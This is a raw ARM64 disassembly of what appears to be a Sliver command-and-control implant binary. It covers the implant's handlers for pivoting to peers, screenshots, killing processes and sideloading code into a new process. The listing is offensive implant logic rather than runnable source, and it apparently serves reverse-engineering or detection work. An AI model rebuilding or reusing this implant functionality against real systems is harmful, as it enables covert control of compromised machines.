File sliver_83cb34f62800fed14e14547c39337aab8e0427fe2c6310a3fb40ce0ac36168c9.elf
Function:
    00505720
    00505720github.com/bishopfox/sliver/implant/sliver/handlers.pivotPeerEnvelopeHandler: ; void github.com/bishopfox/sliver/implant/sliver/handlers.pivotPeerEnvelopeHandler(github.com/bishopfox/sliver/protobuf/sliverpb.Envelope * envelope, github.com/bishopfox/sliver/implant/sliver/transports.Connection * connection)
    00505720ldr x16, [x28+16]
    00505724sub x17, sp, 144
    00505728subs xzr, x17, x16
    0050572cb.ls 0x505a04
    00505730sub x20, sp, 272
    00505734stp x29, x30, [x20-8]
    00505738add sp, x20, 0
    0050573csub x29, sp, 8
    00505740str x0, [sp+280]
    00505744str x1, [sp+288]
    00505748stp xzr, xzr, [sp+248]
    0050574cldr x0, [sp+280]
    00505750bl github.com/bishopfox/sliver/implant/sliver/pivots.SendToPeer
    00505754strb w0, [sp+55]
    00505758str x1, [sp+248]
    0050575cstr x2, [sp+256]
    00505760ldrb w1, [sp+55]
    00505764strb w1, [sp+54]
    00505768ldr x1, [sp+248]
    0050576cldr x2, [sp+256]
    00505770str x1, [sp+152]
    00505774str x2, [sp+160]
    00505778ldrb w1, [sp+54]
    0050577cstrb w1, [sp+53]
    00505780ldr x1, [sp+152]
    00505784ldr x2, [sp+160]
    00505788str x1, [sp+72]
    0050578cstr x2, [sp+80]
    00505790ldrb w1, [sp+53]
    00505794tbnz w1, 0, 0x50579c
    00505798b 0x5057a0
    0050579c
    0050579cloc_50579c:
    0050579cb 0x5059f8
    005057a0
    005057a0loc_5057a0:
    005057a0adrp x0, 0x1c5000
    005057a4add x0, x0, 794
    005057a8movz x1, 53
    005057acmov x2, xzr
    005057b0mov x3, xzr
    005057b4mov x4, x3
    005057b8bl log.Printf
    005057bcstp xzr, xzr, [sp+56]
    005057c0ldr x5, [sp+72]
    005057c4cbnz x5, 0x5057cc
    005057c8b 0x5057ec
    005057cc
    005057ccloc_5057cc:
    005057ccldr x1, [sp+72]
    005057d0ldrsb x27, [x1]
    005057d4ldr x1, [x1+24]
    005057d8ldr x0, [sp+80]
    005057dcblr x1
    005057e0str x0, [sp+56]
    005057e4str x1, [sp+64]
    005057e8b 0x5057f0
    005057ec
    005057ecloc_5057ec:
    005057ecb 0x5057f0
    005057f0
    005057f0loc_5057f0:
    005057f0adrp x0, 0x178000
    005057f4add x0, x0, 3616
    005057f8bl runtime.newobject
    005057fcstr x0, [sp+200]
    00505800adrp x27, 0x546000
    00505804ldr w1, [x27+3056]
    00505808cbz w1, 0x505810
    0050580cb 0x505814
    00505810
    00505810loc_505810:
    00505810b 0x505830
    00505814
    00505814loc_505814:
    00505814str x0, [sp+176]
    00505818mov x1, x0
    0050581cadrp x0, 0x178000
    00505820add x0, x0, 3616
    00505824bl runtime.wbZero
    00505828ldr x0, [sp+176]
    0050582cb 0x505830
    00505830
    00505830loc_505830:
    00505830stp xzr, xzr, [x0]
    00505834stp xzr, xzr, [x0+16]
    00505838stp xzr, xzr, [x0+32]
    0050583cstp xzr, xzr, [x0+48]
    00505840str xzr, [x0+64]
    00505844ldr x2, [sp+200]
    00505848ldrsb x27, [x2]
    0050584cadrp x27, 0x546000
    00505850ldr x3, [x27+2144]
    00505854str x3, [x2+8]
    00505858ldr x2, [sp+200]
    0050585cldrsb x27, [x2]
    00505860str wzr, [x2+16]
    00505864ldr x2, [sp+200]
    00505868ldrsb x27, [x2]
    0050586cldr x3, [sp+56]
    00505870ldr x4, [sp+64]
    00505874str x4, [x2+32]
    00505878adrp x27, 0x546000
    0050587cldr w4, [x27+3056]
    00505880cbz w4, 0x505888
    00505884b 0x50588c
    00505888
    00505888loc_505888:
    00505888b 0x5058a0
    0050588c
    0050588cloc_50588c:
    0050588cbl runtime.gcWriteBarrier2
    00505890str x3, [x25]
    00505894ldr x4, [x2+24]
    00505898str x4, [x25+8]
    0050589cb 0x5058a0
    005058a0
    005058a0loc_5058a0:
    005058a0str x3, [x2+24]
    005058a4ldr x2, [sp+200]
    005058a8str x2, [sp+240]
    005058acstp xzr, xzr, [sp+216]
    005058b0str xzr, [sp+232]
    005058b4stp xzr, xzr, [sp+248]
    005058b8ldr x1, [sp+240]
    005058bcadrp x0, 0x20e000
    005058c0add x0, x0, 3168
    005058c4bl google.golang.org/protobuf/proto.Marshal
    005058c8str x0, [sp+216]
    005058ccstr x1, [sp+224]
    005058d0str x2, [sp+232]
    005058d4str x3, [sp+248]
    005058d8str x4, [sp+256]
    005058dcldr x2, [sp+216]
    005058e0ldr x3, [sp+224]
    005058e4ldr x4, [sp+232]
    005058e8str x2, [sp+128]
    005058ecstr x3, [sp+136]
    005058f0str x4, [sp+144]
    005058f4ldr x2, [sp+248]
    005058f8ldr x3, [sp+256]
    005058fcstr x2, [sp+112]
    00505900str x3, [sp+120]
    00505904ldr x2, [sp+128]
    00505908ldr x3, [sp+136]
    0050590cldr x4, [sp+144]
    00505910str x2, [sp+88]
    00505914str x3, [sp+96]
    00505918str x4, [sp+104]
    0050591cadrp x0, 0x17f000
    00505920add x0, x0, 2848
    00505924bl runtime.newobject
    00505928str x0, [sp+192]
    0050592cadrp x27, 0x546000
    00505930ldr w2, [x27+3056]
    00505934cbz w2, 0x50593c
    00505938b 0x505940
    0050593c
    0050593cloc_50593c:
    0050593cb 0x50595c
    00505940
    00505940loc_505940:
    00505940str x0, [sp+168]
    00505944mov x1, x0
    00505948adrp x0, 0x17f000
    0050594cadd x0, x0, 2848
    00505950bl runtime.wbZero
    00505954ldr x0, [sp+168]
    00505958b 0x50595c
    0050595c
    0050595cloc_50595c:
    0050595cmov x20, x0
    00505960adr x27, 16
    00505964stp x29, x27, [sp-24]
    00505968sub x29, sp, 24
    0050596cbl fn_87cfc
    00505970sub x29, sp, 8
    00505974str xzr, [x0+80]
    00505978ldr x2, [sp+192]
    0050597cldrsb x27, [x2]
    00505980movz x3, 58
    00505984str w3, [x2+16]
    00505988ldr x2, [sp+192]
    0050598cldrsb x27, [x2]
    00505990ldr x3, [sp+88]
    00505994ldr x4, [sp+96]
    00505998ldr x5, [sp+104]
    0050599cstr x4, [x2+32]
    005059a0str x5, [x2+40]
    005059a4adrp x27, 0x546000
    005059a8ldr w4, [x27+3056]
    005059accbz w4, 0x5059b4
    005059b0b 0x5059b8
    005059b4
    005059b4loc_5059b4:
    005059b4b 0x5059cc
    005059b8
    005059b8loc_5059b8:
    005059b8bl runtime.gcWriteBarrier2
    005059bcstr x3, [x25]
    005059c0ldr x4, [x2+24]
    005059c4str x4, [x25+8]
    005059c8b 0x5059cc
    005059cc
    005059ccloc_5059cc:
    005059ccstr x3, [x2+24]
    005059d0ldr x2, [sp+192]
    005059d4str x2, [sp+208]
    005059d8ldr x2, [sp+288]
    005059dcldrsb x27, [x2]
    005059e0ldr x2, [x2]
    005059e4str x2, [sp+184]
    005059e8ldr x0, [sp+184]
    005059ecadd x1, sp, 208
    005059f0bl runtime.chansend1
    005059f4b 0x5059f8
    005059f8
    005059f8loc_5059f8:
    005059f8ldp x29, x30, [sp-8]
    005059fcadd sp, sp, 272
    00505a00ret x30
    00505a04
    00505a04loc_505a04:
    00505a04stp x0, x1, [sp+8]
    00505a08mov x3, x30
    00505a0cbl runtime.morestack_noctxt.abi0
    00505a10ldp x0, x1, [sp+8]
    00505a14b 0x505720
    00505a18udf 0
    00505a1cudf 0
    00505720
    00505a20
    00505a20github.com/bishopfox/sliver/implant/sliver/handlers.screenshotHandler: ; void github.com/bishopfox/sliver/implant/sliver/handlers.screenshotHandler(struct []uint8 data, github.com/bishopfox/sliver/implant/sliver/handlers.RPCResponse resp)
    00505a20ldr x16, [x28+16]
    00505a24subs xzr, sp, x16
    00505a28b.ls 0x505aa0
    00505a2cstr x30, [sp-112]!
    00505a30stur x29, [sp-8]
    00505a34sub x29, sp, 8
    00505a38str x0, [sp+120]
    00505a3cstr x1, [sp+128]
    00505a40str x2, [sp+136]
    00505a44str x3, [sp+144]
    00505a48adrp x0, 0x1b1000
    00505a4cadd x0, x0, 2827
    00505a50movz x1, 20
    00505a54bl errors.New
    00505a58str x0, [sp+88]
    00505a5cstr x1, [sp+96]
    00505a60adrp x0, 0x546000
    00505a64add x0, x0, 1504
    00505a68str x0, [sp+56]
    00505a6cb 0x505a70
    00505a70
    00505a70loc_505a70:
    00505a70str x0, [sp+64]
    00505a74stp xzr, xzr, [sp+72]
    00505a78ldr x26, [sp+144]
    00505a7cldr x5, [x26]
    00505a80ldr x3, [sp+88]
    00505a84ldr x4, [sp+96]
    00505a88mov x1, xzr
    00505a8cmov x2, x1
    00505a90blr x5
    00505a94ldur x29, [sp-8]
    00505a98ldr x30, [sp], 112
    00505a9cret x30
    00505aa0
    00505aa0loc_505aa0:
    00505aa0stp x0, x1, [sp+8]
    00505aa4stp x2, x3, [sp+24]
    00505aa8mov x3, x30
    00505aacbl runtime.morestack_noctxt.abi0
    00505ab0ldp x0, x1, [sp+8]
    00505ab4ldp x2, x3, [sp+24]
    00505ab8b 0x505a20
    00505abcudf 0
    00505a20
    00505ac0
    00505ac0github.com/bishopfox/sliver/implant/sliver/handlers.terminateHandler: ; void github.com/bishopfox/sliver/implant/sliver/handlers.terminateHandler(struct []uint8 data, github.com/bishopfox/sliver/implant/sliver/handlers.RPCResponse resp)
    00505ac0ldr x16, [x28+16]
    00505ac4sub x17, sp, 256
    00505ac8subs xzr, x17, x16
    00505accb.ls 0x505f78
    00505ad0sub x20, sp, 384
    00505ad4stp x29, x30, [x20-8]
    00505ad8add sp, x20, 0
    00505adcsub x29, sp, 8
    00505ae0str x0, [sp+392]
    00505ae4str x1, [sp+400]
    00505ae8str x2, [sp+408]
    00505aecstr x3, [sp+416]
    00505af0adrp x0, 0x178000
    00505af4add x0, x0, 288
    00505af8bl runtime.newobject
    00505afcstr x0, [sp+320]
    00505b00adrp x27, 0x546000
    00505b04ldr w1, [x27+3056]
    00505b08cbz w1, 0x505b10
    00505b0cb 0x505b14
    00505b10
    00505b10loc_505b10:
    00505b10b 0x505b30
    00505b14
    00505b14loc_505b14:
    00505b14str x0, [sp+184]
    00505b18mov x1, x0
    00505b1cadrp x0, 0x178000
    00505b20add x0, x0, 288
    00505b24bl runtime.wbZero
    00505b28ldr x0, [sp+184]
    00505b2cb 0x505b30
    00505b30
    00505b30loc_505b30:
    00505b30stp xzr, xzr, [x0]
    00505b34stp xzr, xzr, [x0+16]
    00505b38stp xzr, xzr, [x0+32]
    00505b3cstr xzr, [x0+48]
    00505b40ldr x4, [sp+320]
    00505b44str x4, [sp+64]
    00505b48str x4, [sp+120]
    00505b4cldr x0, [sp+392]
    00505b50ldr x1, [sp+400]
    00505b54ldr x2, [sp+408]
    00505b58adrp x3, 0x20f000
    00505b5cadd x3, x3, 1056
    00505b60bl google.golang.org/protobuf/proto.Unmarshal
    00505b64str x0, [sp+88]
    00505b68str x1, [sp+96]
    00505b6ccbnz x0, 0x505b74
    00505b70b 0x505c30
    00505b74
    00505b74loc_505b74:
    00505b74stp xzr, xzr, [sp+104]
    00505b78add x5, sp, 104
    00505b7cstr x5, [sp+288]
    00505b80ldr x5, [sp+88]
    00505b84ldr x6, [sp+96]
    00505b88str x5, [sp+272]
    00505b8cstr x6, [sp+280]
    00505b90str x5, [sp+264]
    00505b94ldr x5, [sp+264]
    00505b98cbnz x5, 0x505ba0
    00505b9cb 0x505bb0
    00505ba0
    00505ba0loc_505ba0:
    00505ba0ldr x5, [sp+264]
    00505ba4ldr x5, [x5+8]
    00505ba8str x5, [sp+264]
    00505bacb 0x505bb4
    00505bb0
    00505bb0loc_505bb0:
    00505bb0b 0x505bb4
    00505bb4
    00505bb4loc_505bb4:
    00505bb4ldr x5, [sp+288]
    00505bb8ldrsb x27, [x5]
    00505bbcldr x6, [sp+264]
    00505bc0ldr x7, [sp+280]
    00505bc4str x6, [x5]
    00505bc8adrp x27, 0x546000
    00505bccldr w6, [x27+3056]
    00505bd0cbz w6, 0x505bd8
    00505bd4b 0x505bdc
    00505bd8
    00505bd8loc_505bd8:
    00505bd8b 0x505bf0
    00505bdc
    00505bdcloc_505bdc:
    00505bdcbl runtime.gcWriteBarrier2
    00505be0str x7, [x25]
    00505be4ldr x6, [x5+8]
    00505be8str x6, [x25+8]
    00505becb 0x505bf0
    00505bf0
    00505bf0loc_505bf0:
    00505bf0str x7, [x5+8]
    00505bf4ldr x2, [sp+288]
    00505bf8ldrsb x27, [x2]
    00505bfcb 0x505c00
    00505c00
    00505c00loc_505c00:
    00505c00str x2, [sp+296]
    00505c04orr x4, xzr, 1
    00505c08str x4, [sp+304]
    00505c0cstr x4, [sp+312]
    00505c10adrp x0, 0x1b5000
    00505c14add x0, x0, 981
    00505c18movz x1, 26
    00505c1cmov x3, x4
    00505c20bl log.Printf
    00505c24ldp x29, x30, [sp-8]
    00505c28add sp, sp, 384
    00505c2cret x30
    00505c30
    00505c30loc_505c30:
    00505c30stp xzr, xzr, [sp+72]
    00505c34ldr x1, [sp+64]
    00505c38ldrsb x27, [x1]
    00505c3cldrsw x1, [x1+8]
    00505c40subs xzr, x1, 1
    00505c44cset x1, le
    00505c48strb w1, [sp+55]
    00505c4cb.le 0x505c54
    00505c50b 0x505c6c
    00505c54
    00505c54loc_505c54:
    00505c54ldr x1, [sp+64]
    00505c58ldrsb x27, [x1]
    00505c5cldrb w1, [x1+12]
    00505c60eor x1, x1, 1
    00505c64strb w1, [sp+55]
    00505c68b 0x505c70
    00505c6c
    00505c6cloc_505c6c:
    00505c6cb 0x505c70
    00505c70
    00505c70loc_505c70:
    00505c70ldrb w1, [sp+55]
    00505c74tbnz w1, 0, 0x505c7c
    00505c78b 0x505c94
    00505c7c
    00505c7cloc_505c7c:
    00505c7cadrp x1, 0x1c4000
    00505c80add x1, x1, 3847
    00505c84str x1, [sp+72]
    00505c88movz x1, 52
    00505c8cstr x1, [sp+80]
    00505c90b 0x505d94
    00505c94
    00505c94loc_505c94:
    00505c94ldr x1, [sp+64]
    00505c98ldrsb x27, [x1]
    00505c9cldrsw x1, [x1+8]
    00505ca0mov x0, x1
    00505ca4str x0, [sp+56]
    00505ca8bl github.com/bishopfox/sliver/implant/sliver/ps.Kill
    00505cacstr x0, [sp+88]
    00505cb0str x1, [sp+96]
    00505cb4cbnz x0, 0x505cbc
    00505cb8b 0x505d8c
    00505cbc
    00505cbcloc_505cbc:
    00505cbcstp xzr, xzr, [sp+104]
    00505cc0add x5, sp, 104
    00505cc4str x5, [sp+232]
    00505cc8ldr x5, [sp+88]
    00505cccldr x6, [sp+96]
    00505cd0str x5, [sp+216]
    00505cd4str x6, [sp+224]
    00505cd8str x5, [sp+208]
    00505cdcldr x5, [sp+208]
    00505ce0cbnz x5, 0x505ce8
    00505ce4b 0x505cf8
    00505ce8
    00505ce8loc_505ce8:
    00505ce8ldr x5, [sp+208]
    00505cecldr x5, [x5+8]
    00505cf0str x5, [sp+208]
    00505cf4b 0x505cfc
    00505cf8
    00505cf8loc_505cf8:
    00505cf8b 0x505cfc
    00505cfc
    00505cfcloc_505cfc:
    00505cfcldr x5, [sp+232]
    00505d00ldrsb x27, [x5]
    00505d04ldr x6, [sp+208]
    00505d08ldr x7, [sp+224]
    00505d0cstr x6, [x5]
    00505d10adrp x27, 0x546000
    00505d14ldr w6, [x27+3056]
    00505d18cbz w6, 0x505d20
    00505d1cb 0x505d24
    00505d20
    00505d20loc_505d20:
    00505d20b 0x505d38
    00505d24
    00505d24loc_505d24:
    00505d24bl runtime.gcWriteBarrier2
    00505d28str x7, [x25]
    00505d2cldr x6, [x5+8]
    00505d30str x6, [x25+8]
    00505d34b 0x505d38
    00505d38
    00505d38loc_505d38:
    00505d38str x7, [x5+8]
    00505d3cldr x2, [sp+232]
    00505d40ldrsb x27, [x2]
    00505d44b 0x505d48
    00505d48
    00505d48loc_505d48:
    00505d48str x2, [sp+240]
    00505d4corr x4, xzr, 1
    00505d50str x4, [sp+248]
    00505d54str x4, [sp+256]
    00505d58adrp x0, 0x1b4000
    00505d5cadd x0, x0, 2529
    00505d60movz x1, 25
    00505d64mov x3, x4
    00505d68bl log.Printf
    00505d6cldr x5, [sp+88]
    00505d70ldrsb x27, [x5]
    00505d74ldr x5, [x5+24]
    00505d78ldr x0, [sp+96]
    00505d7cblr x5
    00505d80str x0, [sp+72]
    00505d84str x1, [sp+80]
    00505d88b 0x505d90
    00505d8c
    00505d8cloc_505d8c:
    00505d8cb 0x505d90
    00505d90
    00505d90loc_505d90:
    00505d90b 0x505d94
    00505d94
    00505d94loc_505d94:
    00505d94adrp x0, 0x16b000
    00505d98add x0, x0, 1856
    00505d9cbl runtime.newobject
    00505da0str x0, [sp+200]
    00505da4adrp x27, 0x546000
    00505da8ldr w1, [x27+3056]
    00505daccbz w1, 0x505db4
    00505db0b 0x505db8
    00505db4
    00505db4loc_505db4:
    00505db4b 0x505dd4
    00505db8
    00505db8loc_505db8:
    00505db8str x0, [sp+176]
    00505dbcmov x1, x0
    00505dc0adrp x0, 0x16b000
    00505dc4add x0, x0, 1856
    00505dc8bl runtime.wbZero
    00505dccldr x0, [sp+176]
    00505dd0b 0x505dd4
    00505dd4
    00505dd4loc_505dd4:
    00505dd4stp xzr, xzr, [x0]
    00505dd8stp xzr, xzr, [x0+16]
    00505ddcstp xzr, xzr, [x0+32]
    00505de0str xzr, [x0+48]
    00505de4ldr x1, [sp+200]
    00505de8ldrsb x27, [x1]
    00505decldr x2, [sp+64]
    00505df0ldrsb x27, [x2]
    00505df4ldrsw x2, [x2+8]
    00505df8str w2, [x1+8]
    00505dfcadrp x0, 0x180000
    00505e00add x0, x0, 3648
    00505e04bl runtime.newobject
    00505e08str x0, [sp+192]
    00505e0cadrp x27, 0x546000
    00505e10ldr w1, [x27+3056]
    00505e14cbz w1, 0x505e1c
    00505e18b 0x505e20
    00505e1c
    00505e1cloc_505e1c:
    00505e1cb 0x505e3c
    00505e20
    00505e20loc_505e20:
    00505e20str x0, [sp+168]
    00505e24mov x1, x0
    00505e28adrp x0, 0x180000
    00505e2cadd x0, x0, 3648
    00505e30bl runtime.wbZero
    00505e34ldr x0, [sp+168]
    00505e38b 0x505e3c
    00505e3c
    00505e3cloc_505e3c:
    00505e3cmov x20, x0
    00505e40adr x27, 16
    00505e44stp x29, x27, [sp-24]
    00505e48sub x29, sp, 24
    00505e4cbl fn_87cf8
    00505e50sub x29, sp, 8
    00505e54ldr x2, [sp+192]
    00505e58ldrsb x27, [x2]
    00505e5cldr x3, [sp+72]
    00505e60ldr x4, [sp+80]
    00505e64str x4, [x2+16]
    00505e68adrp x27, 0x546000
    00505e6cldr w4, [x27+3056]
    00505e70cbz w4, 0x505e78
    00505e74b 0x505e7c
    00505e78
    00505e78loc_505e78:
    00505e78b 0x505e90
    00505e7c
    00505e7cloc_505e7c:
    00505e7cbl runtime.gcWriteBarrier2
    00505e80str x3, [x25]
    00505e84ldr x4, [x2+8]
    00505e88str x4, [x25+8]
    00505e8cb 0x505e90
    00505e90
    00505e90loc_505e90:
    00505e90str x3, [x2+8]
    00505e94ldr x2, [sp+200]
    00505e98ldrsb x27, [x2]
    00505e9cldr x3, [sp+192]
    00505ea0adrp x27, 0x546000
    00505ea4ldr w4, [x27+3056]
    00505ea8cbz w4, 0x505eb0
    00505eacb 0x505eb4
    00505eb0
    00505eb0loc_505eb0:
    00505eb0b 0x505ec8
    00505eb4
    00505eb4loc_505eb4:
    00505eb4bl runtime.gcWriteBarrier2
    00505eb8str x3, [x25]
    00505ebcldr x4, [x2+16]
    00505ec0str x4, [x25+8]
    00505ec4b 0x505ec8
    00505ec8
    00505ec8loc_505ec8:
    00505ec8str x3, [x2+16]
    00505eccldr x2, [sp+200]
    00505ed0str x2, [sp+368]
    00505ed4stp xzr, xzr, [sp+344]
    00505ed8str xzr, [sp+360]
    00505edcstp xzr, xzr, [sp+328]
    00505ee0ldr x1, [sp+368]
    00505ee4adrp x0, 0x20f000
    00505ee8add x0, x0, 1088
    00505eecbl google.golang.org/protobuf/proto.Marshal
    00505ef0str x0, [sp+344]
    00505ef4str x1, [sp+352]
    00505ef8str x2, [sp+360]
    00505efcstr x3, [sp+328]
    00505f00str x4, [sp+336]
    00505f04ldr x2, [sp+344]
    00505f08ldr x3, [sp+352]
    00505f0cldr x4, [sp+360]
    00505f10str x2, [sp+144]
    00505f14str x3, [sp+152]
    00505f18str x4, [sp+160]
    00505f1cldr x2, [sp+328]
    00505f20ldr x3, [sp+336]
    00505f24str x2, [sp+128]
    00505f28str x3, [sp+136]
    00505f2cldr x2, [sp+144]
    00505f30ldr x3, [sp+152]
    00505f34ldr x4, [sp+160]
    00505f38str x2, [sp+392]
    00505f3cstr x3, [sp+400]
    00505f40str x4, [sp+408]
    00505f44ldr x3, [sp+128]
    00505f48ldr x4, [sp+136]
    00505f4cstr x3, [sp+88]
    00505f50str x4, [sp+96]
    00505f54ldr x0, [sp+392]
    00505f58ldr x1, [sp+400]
    00505f5cldr x2, [sp+408]
    00505f60ldr x26, [sp+416]
    00505f64ldr x5, [x26]
    00505f68blr x5
    00505f6cldp x29, x30, [sp-8]
    00505f70add sp, sp, 384
    00505f74ret x30
    00505f78
    00505f78loc_505f78:
    00505f78stp x0, x1, [sp+8]
    00505f7cstp x2, x3, [sp+24]
    00505f80mov x3, x30
    00505f84bl runtime.morestack_noctxt.abi0
    00505f88ldp x0, x1, [sp+8]
    00505f8cldp x2, x3, [sp+24]
    00505f90b 0x505ac0
    00505f94udf 0
    00505f98udf 0
    00505f9cudf 0
    00505ac0
    00505fa0
    00505fa0github.com/bishopfox/sliver/implant/sliver/handlers.sideloadHandler: ; void github.com/bishopfox/sliver/implant/sliver/handlers.sideloadHandler(struct []uint8 data, github.com/bishopfox/sliver/implant/sliver/handlers.RPCResponse resp)
    00505fa0ldr x16, [x28+16]
    00505fa4sub x17, sp, 320
    00505fa8subs xzr, x17, x16
    00505facb.ls 0x5063a0
    00505fb0sub x20, sp, 448
    00505fb4stp x29, x30, [x20-8]
    00505fb8add sp, x20, 0
    00505fbcsub x29, sp, 8
    00505fc0str x0, [sp+456]
    00505fc4str x1, [sp+464]
    00505fc8str x2, [sp+472]
    00505fccstr x3, [sp+480]
    00505fd0adrp x0, 0x194000
    00505fd4add x0, x0, 2336
    00505fd8bl runtime.newobject
    00505fdcstr x0, [sp+280]
    00505fe0adrp x27, 0x546000
    00505fe4ldr w1, [x27+3056]
    00505fe8cbz w1, 0x505ff0
    00505fecb 0x505ff4
    00505ff0
    00505ff0loc_505ff0:
    00505ff0b 0x506010
    00505ff4
    00505ff4loc_505ff4:
    00505ff4str x0, [sp+256]
    00505ff8mov x1, x0
    00505ffcadrp x0, 0x194000
    00506000add x0, x0, 2336
    00506004bl runtime.wbZero
    00506008ldr x0, [sp+256]
    0050600cb 0x506010
    00506010
    00506010loc_506010:
    00506010mov x20, x0
    00506014adr x27, 16
    00506018stp x29, x27, [sp-24]
    0050601csub x29, sp, 24
    00506020bl fn_87ce8
    00506024sub x29, sp, 8
    00506028ldr x4, [sp+280]
    0050602cstr x4, [sp+128]
    00506030str x4, [sp+416]
    00506034ldr x0, [sp+456]
    00506038ldr x1, [sp+464]
    0050603cldr x2, [sp+472]
    00506040adrp x3, 0x20e000
    00506044add x3, x3, 32
    00506048bl google.golang.org/protobuf/proto.Unmarshal
    0050604cstr x0, [sp+168]
    00506050str x1, [sp+176]
    00506054cbnz x0, 0x50605c
    00506058b 0x506068
    0050605c
    0050605cloc_50605c:
    0050605cldp x29, x30, [sp-8]
    00506060add sp, sp, 448
    00506064ret x30
    00506068
    00506068loc_506068:
    00506068ldr x0, [sp+128]
    0050606cbl github.com/bishopfox/sliver/protobuf/sliverpb.(*SideloadReq).GetProcessName
    00506070str x0, [sp+400]
    00506074str x1, [sp+408]
    00506078ldr x0, [sp+128]
    0050607cbl github.com/bishopfox/sliver/protobuf/sliverpb.(*SideloadReq).GetProcessArgs
    00506080str x0, [sp+376]
    00506084str x1, [sp+384]
    00506088str x2, [sp+392]
    0050608cldr x0, [sp+128]
    00506090bl github.com/bishopfox/sliver/protobuf/sliverpb.(*SideloadReq).GetPPid
    00506094str w0, [sp+116]
    00506098ldr x0, [sp+128]
    0050609cbl github.com/bishopfox/sliver/protobuf/sliverpb.(*SideloadReq).GetData
    005060a0str x0, [sp+352]
    005060a4str x1, [sp+360]
    005060a8str x2, [sp+368]
    005060acldr x0, [sp+128]
    005060b0bl github.com/bishopfox/sliver/protobuf/sliverpb.(*SideloadReq).GetArgs
    005060b4str x0, [sp+328]
    005060b8str x1, [sp+336]
    005060bcstr x2, [sp+344]
    005060c0stp xzr, xzr, [sp+312]
    005060c4stp xzr, xzr, [sp+296]
    005060c8ldr x1, [sp+128]
    005060ccldrsb x27, [x1]
    005060d0ldrb w12, [x1+88]
    005060d4strb w12, [sp+115]
    005060d8ldr w5, [sp+116]
    005060dcldr x2, [sp+376]
    005060e0ldr x3, [sp+384]
    005060e4ldr x4, [sp+392]
    005060e8ldr x6, [sp+352]
    005060ecldr x7, [sp+360]
    005060f0ldr x8, [sp+368]
    005060f4ldr x9, [sp+328]
    005060f8ldr x10, [sp+336]
    005060fcldr x11, [sp+344]
    00506100ldr x0, [sp+400]
    00506104ldr x1, [sp+408]
    00506108bl github.com/bishopfox/sliver/implant/sliver/taskrunner.Sideload
    0050610cstr x0, [sp+312]
    00506110str x1, [sp+320]
    00506114str x2, [sp+296]
    00506118str x3, [sp+304]
    0050611cldr x1, [sp+312]
    00506120ldr x2, [sp+320]
    00506124str x1, [sp+224]
    00506128str x2, [sp+232]
    0050612cldr x1, [sp+296]
    00506130ldr x2, [sp+304]
    00506134str x1, [sp+208]
    00506138str x2, [sp+216]
    0050613cldr x1, [sp+224]
    00506140ldr x2, [sp+232]
    00506144str x1, [sp+136]
    00506148str x2, [sp+144]
    0050614cldr x1, [sp+208]
    00506150ldr x2, [sp+216]
    00506154str x1, [sp+168]
    00506158str x2, [sp+176]
    0050615cstp xzr, xzr, [sp+152]
    00506160ldr x1, [sp+168]
    00506164cbnz x1, 0x50616c
    00506168b 0x50618c
    0050616c
    0050616cloc_50616c:
    0050616cldr x1, [sp+168]
    00506170ldrsb x27, [x1]
    00506174ldr x1, [x1+24]
    00506178ldr x0, [sp+176]
    0050617cblr x1
    00506180str x0, [sp+152]
    00506184str x1, [sp+160]
    00506188b 0x506190
    0050618c
    0050618cloc_50618c:
    0050618cb 0x506190
    00506190
    00506190loc_506190:
    00506190adrp x0, 0x16a000
    00506194add x0, x0, 960
    00506198bl runtime.newobject
    0050619cstr x0, [sp+272]
    005061a0adrp x27, 0x545000
    005061a4ldr w1, [x27+3056]
    005061a8cbz w1, 0x5061b0
    005061acb 0x5061b4
    005061b0
    005061b0loc_5061b0:
    005061b0b 0x5061d0
    005061b4
    005061b4loc_5061b4:
    005061b4str x0, [sp+248]
    005061b8mov x1, x0
    005061bcadrp x0, 0x16a000
    005061c0add x0, x0, 960
    005061c4bl runtime.wbZero
    005061c8ldr x0, [sp+248]
    005061ccb 0x5061d0
    005061d0
    005061d0loc_5061d0:
    005061d0stp xzr, xzr, [x0]
    005061d4stp xzr, xzr, [x0+16]
    005061d8stp xzr, xzr, [x0+32]
    005061dcstp xzr, xzr, [x0+48]
    005061e0ldr x1, [sp+272]
    005061e4ldrsb x27, [x1]
    005061e8ldr x2, [sp+136]
    005061ecldr x3, [sp+144]
    005061f0str x3, [x1+16]
    005061f4adrp x27, 0x545000
    005061f8ldr w3, [x27+3056]
    005061fccbz w3, 0x506204
    00506200b 0x506208
    00506204
    00506204loc_506204:
    00506204b 0x50621c
    00506208
    00506208loc_506208:
    00506208bl runtime.gcWriteBarrier2
    0050620cstr x2, [x25]
    00506210ldr x3, [x1+8]
    00506214str x3, [x25+8]
    00506218b 0x50621c
    0050621c
    0050621cloc_50621c:
    0050621cstr x2, [x1+8]
    00506220adrp x0, 0x17f000
    00506224add x0, x0, 3648
    00506228bl runtime.newobject
    0050622cstr x0, [sp+264]
    00506230adrp x27, 0x545000
    00506234ldr w1, [x27+3056]
    00506238cbz w1, 0x506240
    0050623cb 0x506244
    00506240
    00506240loc_506240:
    00506240b 0x506260
    00506244
    00506244loc_506244:
    00506244str x0, [sp+240]
    00506248mov x1, x0
    0050624cadrp x0, 0x17f000
    00506250add x0, x0, 3648
    00506254bl runtime.wbZero
    00506258ldr x0, [sp+240]
    0050625cb 0x506260
    00506260
    00506260loc_506260:
    00506260mov x20, x0
    00506264adr x27, 16
    00506268stp x29, x27, [sp-24]
    0050626csub x29, sp, 24
    00506270bl fn_87cf8
    00506274sub x29, sp, 8
    00506278ldr x2, [sp+264]
    0050627cldrsb x27, [x2]
    00506280ldr x3, [sp+152]
    00506284ldr x4, [sp+160]
    00506288str x4, [x2+16]
    0050628cadrp x27, 0x545000
    00506290ldr w4, [x27+3056]
    00506294cbz w4, 0x50629c
    00506298b 0x5062a0
    0050629c
    0050629cloc_50629c:
    0050629cb 0x5062b4
    005062a0
    005062a0loc_5062a0:
    005062a0bl runtime.gcWriteBarrier2
    005062a4str x3, [x25]
    005062a8ldr x4, [x2+8]
    005062acstr x4, [x25+8]
    005062b0b 0x5062b4
    005062b4
    005062b4loc_5062b4:
    005062b4str x3, [x2+8]
    005062b8ldr x2, [sp+272]
    005062bcldrsb x27, [x2]
    005062c0ldr x3, [sp+264]
    005062c4adrp x27, 0x545000
    005062c8ldr w4, [x27+3056]
    005062cccbz w4, 0x5062d4
    005062d0b 0x5062d8
    005062d4
    005062d4loc_5062d4:
    005062d4b 0x5062ec
    005062d8
    005062d8loc_5062d8:
    005062d8bl runtime.gcWriteBarrier2
    005062dcstr x3, [x25]
    005062e0ldr x4, [x2+24]
    005062e4str x4, [x25+8]
    005062e8b 0x5062ec
